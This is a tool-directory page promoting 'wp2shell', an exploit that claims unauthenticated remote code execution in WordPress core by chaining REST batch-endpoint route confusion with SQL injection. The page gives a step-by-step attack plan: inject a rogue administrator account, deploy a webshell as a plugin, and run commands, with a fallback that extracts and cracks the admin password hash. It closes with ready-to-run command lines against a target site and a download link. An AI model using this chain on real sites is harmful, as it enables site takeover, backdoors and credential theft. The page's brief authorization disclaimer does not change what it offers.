Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
wp2shell — unauthenticated RCE in WordPress core (CVE-2026-63030 + CVE-2026-60137) | Kitploit
Tools/GitHubGitHub/iqbalx7/wp2shell
Password CrackingPrivilege EscalationPayload GenerationExploitationWeb Application ExploitationRed TeamingAPI Security
GitHubiqbalx7/wp2shell

wp2shell

unauthenticated RCE in WordPress core (CVE-2026-63030 + CVE-2026-60137)

View Repository
1 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

wp2shell

Exploit WordPress REST API route confusion (CVE-2026-63030) + SQL injection (CVE-2026-60137) in the batch endpoint to achieve Remote Code Execution.

Vulnerabilities

Route Confusion (CVE-2026-63030)

The WordPress REST API batch endpoint (/batch/v1) does not properly isolate request routing. By nesting batch requests inside each other, an attacker can make internal requests that bypass WordPress's normal permission checks. The key indicator is the parse_path_failed + block_cannot_read error pattern in the response — this confirms the route confusion is exploitable.

SQL Injection (CVE-2026-60137)

When a request is misrouted via the batch endpoint, the author_exclude parameter in GET /wp/v2/posts is not properly sanitized. This allows SQL injection via stacked queries and UNION statements — all without authentication.

How the exploit works

root@kitploit:~
Phase 1: Probe
  ─────────────
  Check batch endpoint reachable (HTTP 207)
  Verify route confusion via marker requests
  Confirm SQL injection via timing/oracle

Phase 2: UNION → RCE (fast path)
  ─────────────────────────────
  If UNION injection works:
    1. Detect table prefix (blind or brute-force common ones)
    2. CREATE ADMIN USER via stacked UNION INSERT queries
       - Bcrypt hash generated via PHP on attacker machine
       - Insert row into {prefix}_users + {prefix}_usermeta
       - New user gets administrator capabilities
    3. Login + Deploy webshell as WordPress plugin
    4. Execute commands via ?t=TOKEN&c=id

Phase 3: Blind → Hash (fallback path)
  ─────────────────────────────────
  If UNION is blocked but blind SQLi works:
    1. Extract MySQL version, user, database name
    2. Extract table prefix from information_schema
    3. Extract admin hash from {prefix}_users WHERE id=1
    4. Crack offline: hashcat -m 3200 hash.txt wordlist.txt
    5. Use --user / --pass --cmd id with cracked password

Phase 4: Credential login
  ──────────────────────
  If --user/--pass provided:
    1. Login via wp-login.php or REST API Basic Auth
    2. Upload webshell as plugin
    3. Execute commands

Usage

root@kitploit:~
# Auto mode — check, UNION, create admin, deploy webshell
python3 wp2shell.py https://target.com

# With known credentials (e.g., after cracking hash)
python3 wp2shell.py https://target.com --user admin --pass P@ssw0rd --cmd id

# UNION only (skip blind fallback)
python3 wp2shell.py https://target.com --union-only

# Blind extraction only (skip UNION attempt)
python3 wp2shell.py https://target.com --blind-only

# Debug via proxy
python3 wp2shell.py https://target.com --proxy http://127.0.0.1:8080

# Custom SLEEP duration for time-based blind (default 0.01s)
python3 wp2shell.py https://target.com --sleep 0.5

Options

Requirements

  • Python 3.8+
  • PHP CLI (for bcrypt hash generation — optional, falls back to default)
  • Target: WordPress with REST API enabled and unpatched batch endpoint

Disclaimer

This tool is for authorized security testing only. You must have explicit permission from the target owner before using it. Unauthorized access to computer systems is illegal.

Download Tool
FlagDescription
--proxyHTTP proxy (e.g., Burp Suite)
--userAdmin username for login
--passAdmin password
--cmdCommand to execute on target
--union-onlySkip blind extraction
--blind-onlySkip UNION attempt
--sleepSLEEP seconds for time-based blind